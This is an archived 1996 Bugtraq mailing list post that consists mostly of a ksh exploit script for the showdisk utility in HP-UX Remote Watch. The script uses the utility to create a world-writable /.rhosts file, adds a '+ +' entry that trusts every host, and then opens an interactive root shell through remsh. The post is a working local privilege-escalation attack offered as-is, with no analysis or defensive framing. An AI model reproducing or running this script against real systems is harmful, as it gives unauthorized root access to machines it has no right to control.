Bugtraq mailing list archives

HPUX schlowdishk


From: aleph1 () dfw net (Aleph One)
Date: Sat, 19 Oct 1996 00:22:03 -0700


This is a multi-part message in MIME format.

--------------5B18EC97719CDB2178910D76
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

http://command.com.inter.net/~sod/schlowdishk

--------------5B18EC97719CDB2178910D76
Content-Type: text/plain; charset=us-ascii; name="schlowdishk"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="schlowdishk"

#!/bin/ksh

# OK.. this bug gets inserted into remwatch after the patch.. It was there
# before in some versions, but now it's pretty much universal if the patch
# gets installed...
# Silly Scriptor & friend, SOD, (11Jun96)

if [ ! -x /usr/remwatch/bin/disks/showdisk ]
then
  echo This is an exploit for the showdisk utility internal to
  echo HP\'s Remote Watch series of programs.
  echo The showdisk utility doesn\'t appear to be on your system.
  echo Moo
  exit
fi

FILE=$1
if [ -z "$FILE" ]
then
  FILE=/.rhosts
fi


if [ -f "$FILE" ]
then
  echo "Hey, there already a ${FILE}!"
  echo "I'd rather enjoy making new files, thank you very much..."
  exit
fi

umask 0000
/usr/remwatch/bin/disks/showdisk arg arg ${FILE} arg > /dev/null 2>&1
${FILE}
ls -l ${FILE}

if [ "${FILE}" = "/.rhosts" ]
then
  echo "Adding + + ..."
  echo "+ +" >> /.rhosts
  remsh localhost -l root ksh -i
fi

--------------5B18EC97719CDB2178910D76--



Current thread: